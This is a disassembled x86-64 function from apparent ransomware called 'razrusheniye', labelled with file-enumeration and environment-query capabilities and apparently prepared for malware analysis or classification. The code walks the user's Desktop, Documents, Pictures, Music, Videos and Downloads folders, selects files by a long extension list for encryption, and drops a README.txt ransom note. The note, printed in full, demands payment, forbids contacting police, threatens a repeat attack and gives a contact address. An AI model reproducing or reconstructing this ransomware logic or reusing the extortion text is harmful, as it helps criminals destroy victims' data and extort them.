Function at 0x140001a50
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
lea rax, str._USERPROFILE_Desktop
xor ebx, ebx
mov qword [rsp + 0x38], rax
mov r13, r8
lea rax, str._USERPROFILE_Documents
mov dword [rbp + 0x538], ebx
mov qword [rsp + 0x40], rax
mov r14, rdx
lea rax, str._USERPROFILE_Pictures
mov r15, rcx
mov qword [rsp + 0x48], rax
lea rax, str._USERPROFILE_Music
mov qword [rsp + 0x50], rax
lea rax, str._USERPROFILE_Videos
mov qword [rsp + 0x58], rax
lea rax, str._USERPROFILE_Downloads
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
nop word [rax + rax]
mov rcx, qword [rax]
lea rdx, [rbp + 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x140001e30
lea r9, [rbp + 0x80]
mov edx, 0x104
lea r8, str._s
lea rcx, [rbp + 0x3e0]
call fcn.140001060
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001e30
nop
test byte [rbp + 0x190], 0x10
lea rcx, [rbp + 0x1bc]
je 0x140001c56
lea r8, [0x14000548c]
sub r8, rcx
nop
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140001b73
inc rcx
test eax, eax
jne 0x140001b60
test edx, edx
je 0x140001cc8
lea rax, [rbp + 0x1bc]
lea r8, [0x140005488]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001ba3
inc rax
test ecx, ecx
jne 0x140001b90
test edx, edx
je 0x140001cc8
lea rax, [rbp + 0x1bc]
mov edx, 0x104
lea r9, [rbp + 0x80]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140001060
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
nop dword [rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rbp + 0x2d0]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rbp + 0x2d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001c12
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001cc8
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001be0
mov r9, r13
lea rcx, [rsp + 0x70]
mov r8, r14
mov rdx, r15
call fcn.140001700
jmp 0x140001cc8
mov edx, 0x2e
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov rsi, rax
test rax, rax
je 0x140001cc8
xor edi, edi
lea rbx, str..doc
mov rdx, qword [rbx]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001c8f
inc edi
add rbx, 8
cmp edi, 0x57
jb 0x140001c72
jmp 0x140001cc8
lea rax, [rbp + 0x1bc]
mov edx, 0x104
lea r9, [rbp + 0x80]
mov qword [rsp + 0x20], rax
lea r8, [0x140005478]
lea rcx, [rsp + 0x70]
call fcn.140001060
mov r8, r14
lea rcx, [rsp + 0x70]
mov rdx, r15
call fcn.140001340
lea rdx, [rbp + 0x190]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001b40
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
nop dword [rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x70]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001d20
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001d4f
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001cf0
xor eax, eax
jmp 0x140001d54
mov eax, 1
test eax, eax
jne 0x140001e21
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
nop word [rax + rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x70]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001da0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001e21
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001d70
lea r9, [rbp + 0x80]
mov edx, 0x104
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x2d0]
call fcn.140001060
lea rdx, [0x1400059b0]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001e21
mov r8, r13
lea rdx, str._Your_files_have_been_encrypted_by_the_razrusheniye_ransomware__._nUsing_advanced_AES256_CBC_encryption__your_databases__documents__photos_and_other_important_files_have_been_encrypted__nThis_means_you_will_not_be_able_to_access_them_unless_you_decrypt_them._nSee_for_yourself__Look_at_any_file_with_.raz_extension._nYou_cannot_recover_these_files_yourself._Thats_not_how_cryptography_works._nDo_not_waste_your_time._Nobody_can_recover_your_files_besides_us__nIf_you_fulfil_the_following__you_are_eligible_for_a_50___discount__n_____You_do_NOT_contact_ANYONE_about_this_incident._n_____You_contact_us_in_UNDER_than_6_hours._nWe_can_decrypt_these_files__we_can_guarantee_that_your_files_can_be_decrypted._nPayment_for_the_decryption_is__70__with_the_50___discount___35___nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_decryption__we_WILL_attack_you_again_______nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_recovering_the_files__nSent_the_personal_ID_to_razrhelp_firemail.cc_nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__you_will_NEVER_get_your_data_back__n____Your_personal_ID:__s_____n
mov rcx, rax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [rbp + 0x538]
mov rax, qword [rsp + 0x30]
inc ebx
add rax, 8
mov dword [rbp + 0x538], ebx
mov qword [rsp + 0x30], rax
cmp ebx, 6
jb 0x140001ae0
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret